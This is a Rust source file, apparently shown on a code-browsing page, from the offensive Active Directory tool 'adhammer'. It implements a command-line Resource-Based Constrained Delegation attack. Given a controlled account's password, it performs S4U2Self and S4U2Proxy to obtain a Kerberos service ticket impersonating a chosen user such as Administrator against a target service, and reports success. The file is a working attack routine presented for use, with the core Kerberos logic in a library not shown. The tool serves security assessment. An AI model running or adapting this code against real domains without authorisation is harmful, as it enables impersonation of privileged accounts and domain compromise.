adhammer 1.5.1

ADhammer — Active Directory security assessment and offensive tradecraft in Rust, with a from-scratch DCE/RPC · NTLM · SMB2 · Kerberos stack.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

//! Resource-Based Constrained Delegation abuse: S4U2Self + S4U2Proxy to
//! obtain an impersonation ticket to the target service.

use anyhow::Result;
use clap::Parser;

#[derive(Parser)]
pub(crate) struct RbcdArgs {
    #[arg(long)]
    pub kdc: String,
    #[arg(long)]
    pub realm: String,
    /// Controlled account (the RBCD trustee) sAMAccountName
    #[arg(long)]
    pub account: String,
    /// Controlled account password
    #[arg(long, default_value = "")]
    pub account_password: adhammer_core::SecretString,
    /// User to impersonate, e.g. Administrator
    #[arg(long)]
    pub impersonate: String,
    /// Target service SPN, e.g. cifs/dc01.corp.local
    #[arg(long)]
    pub target_spn: String,
}

/// Full RBCD attack: S4U2Self + S4U2Proxy to obtain an impersonation ticket to the target.
pub(crate) async fn rbcd(mut a: RbcdArgs) -> Result<()> {
    a.account_password = crate::resolve_secret(&a.account_password, "ADHAMMER_PASSWORD")?;
    let etype = adhammer_kerberos::rbcd_impersonate(
        &a.account,
        &a.account_password,
        &a.realm,
        &a.kdc,
        &a.impersonate,
        &a.target_spn,
    )
    .await?;
    println!(
        "[+] got service ticket for {} as {} (enc-part etype {etype})",
        a.target_spn, a.impersonate
    );
    println!("    RBCD chain succeeded — impersonation ticket obtained.");
    Ok(())
}